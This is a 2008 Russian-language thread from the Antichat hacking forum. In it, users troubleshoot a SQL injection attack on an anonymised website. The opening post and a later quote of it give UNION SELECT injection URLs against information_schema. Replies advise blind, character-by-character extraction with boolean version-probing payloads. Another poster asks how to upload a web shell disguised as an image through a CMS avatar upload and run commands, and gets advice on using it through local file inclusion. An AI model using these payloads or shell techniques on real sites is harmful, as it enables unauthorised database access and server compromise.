 |
|
24.08.2008, 20:06
|
|
Members of Antichat - Level 5
Регистрация: 28.05.2007
Сообщений: 729
С нами:
9976706
Репутация:
1934
|
|
есть скул. запрос:
Код:
http://www.сайт/index.php?id=42222'+union+select+1,2,3+from+information_schema.tables/*
сервер отвечает загрузкой страницы, такой же как
Код:
http://www.сайт/index.php?id=42222
пробую найти поля, которые выводятся на экран:
Код:
http://www.сайт/index.php?id=-1'+union+select+1,2,3+from+information_schema.tables/*
http://www.сайт/index.php?id=42222'+and+1=9+union+select+1,2,3+from+information_schema.tables/*
http://www.сайт/index.php?id='+union+select+1,2,3+from+information_schema.tables/*
Не получается. пишет ошибку. как ещё можно вывести на экран поля? |
|
|
24.08.2008, 20:14
|
|
Участник форума
Регистрация: 23.05.2008
Сообщений: 121
С нами:
9457097
Репутация:
133
|
|
чет я не понимаю вопроса если честно! у тебя в скули нет полей для вывода ? если нет то только blind sql !и есче вопрос что ты пытался сделать этими запросами в базу ?
|
|
|
|
24.08.2008, 23:07
|
|
Постоянный
Регистрация: 24.05.2008
Сообщений: 589
С нами:
9454841
Репутация:
504
|
|
было такое.. попробуй посимвольным брутом
|
|
|
|
24.08.2008, 23:10
|
|
Banned
Регистрация: 25.12.2006
Сообщений: 179
С нами:
10198073
Репутация:
354
|
|
+and+substring(version(),1,1)=5
+and+substring(version(),1,1)=4
+and+substring(version(),1,1)=3
Если четвёртая или третяя не стоит заморачиваться, ИМХО.
|
|
|
|
25.08.2008, 00:21
|
|
Members of Antichat - Level 5
Регистрация: 28.05.2007
Сообщений: 729
С нами:
9976706
Репутация:
1934
|
|
Ды посимвольным это уже вообще конечный вариант. думал, может есть ещё способы!? ладно, будем др*читься посимвольвно  |
|
|
|
25.08.2008, 01:18
|
|
Постоянный
Регистрация: 07.11.2007
Сообщений: 392
С нами:
9741777
Репутация:
100
|
|
Нашел на античате шелл спрятанный под картинку
Есть система Slaed 3.5 и пару юзеров.
Как можно загрузить шелл через загрузку аватар? Как выполнять команды в этом случае?
|
|
|
|
25.08.2008, 01:20
|
|
Leaders of Antichat - Level 4
Регистрация: 16.01.2006
Сообщений: 1,966
С нами:
10692266
Репутация:
3486
|
|
Сообщение от Ershik
Нашел на античате шелл спрятанный под картинку
Есть система Slaed 3.5 и пару юзеров.
Как можно загрузить шелл через загрузку аватар? Как выполнять команды в этом случае?
"Как можно загрузить шелл через загрузку аватар?" - Аплоадом=) Если он в нужном расширении.
"Как выполнять команды в этом случае?" - Уже по сути никак. Апачей таких не осталось почти. А способ с шеллом в картинке используется для локальных инклудов.
|
|
|
|
25.08.2008, 02:07
|
|
Members of Antichat - Level 5
Регистрация: 28.05.2007
Сообщений: 729
С нами:
9976706
Репутация:
1934
|
|
Сообщение от ThreeD
+and+substring(version(),1,1)=5
+and+substring(version(),1,1)=4
+and+substring(version(),1,1)=3
Если четвёртая или третяя не стоит заморачиваться, ИМХО.
там 5 версия) есть варианты решения?
|
|
|
|
25.08.2008, 03:21
|
|
Познающий
Регистрация: 05.08.2007
Сообщений: 30
С нами:
9876886
Репутация:
18
|
|
Сообщение от AFoST
есть скул. запрос:
Код:
http://www.сайт/index.php?id=42222'+union+select+1,2,3+from+information_schema.tables/*
сервер отвечает загрузкой страницы, такой же как
Код:
http://www.сайт/index.php?id=42222
пробую найти поля, которые выводятся на экран:
Код:
http://www.сайт/index.php?id=-1'+union+select+1,2,3+from+information_schema.tables/*
http://www.сайт/index.php?id=42222'+and+1=9+union+select+1,2,3+from+information_schema.tables/*
http://www.сайт/index.php?id='+union+select+1,2,3+from+information_schema.tables/*
Не получается. пишет ошибку. как ещё можно вывести на экран поля? попробуй -42222 поставить, или убрать кавычку..
вполне есть вариант что у твоего юзера mysql нету доступа к базе information_schema
|
|
|
|
25.08.2008, 03:36
|
|
Banned
Регистрация: 25.12.2006
Сообщений: 179
С нами:
10198073
Репутация:
354
|
|
AFoST
Ты уверен, что там именно 3 поля? Скинул бы ссылку, было б легче разобраться.Или хотя б ошибку опиши.
Мне кажется, что для посимвольного перебора ещё слишком рано, но тем не менее, ответ на твой вопрос
http://www.securitylab.ru/contest/212099.php
И в information_schema ты рано полез ))
|
|
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Линейный вид
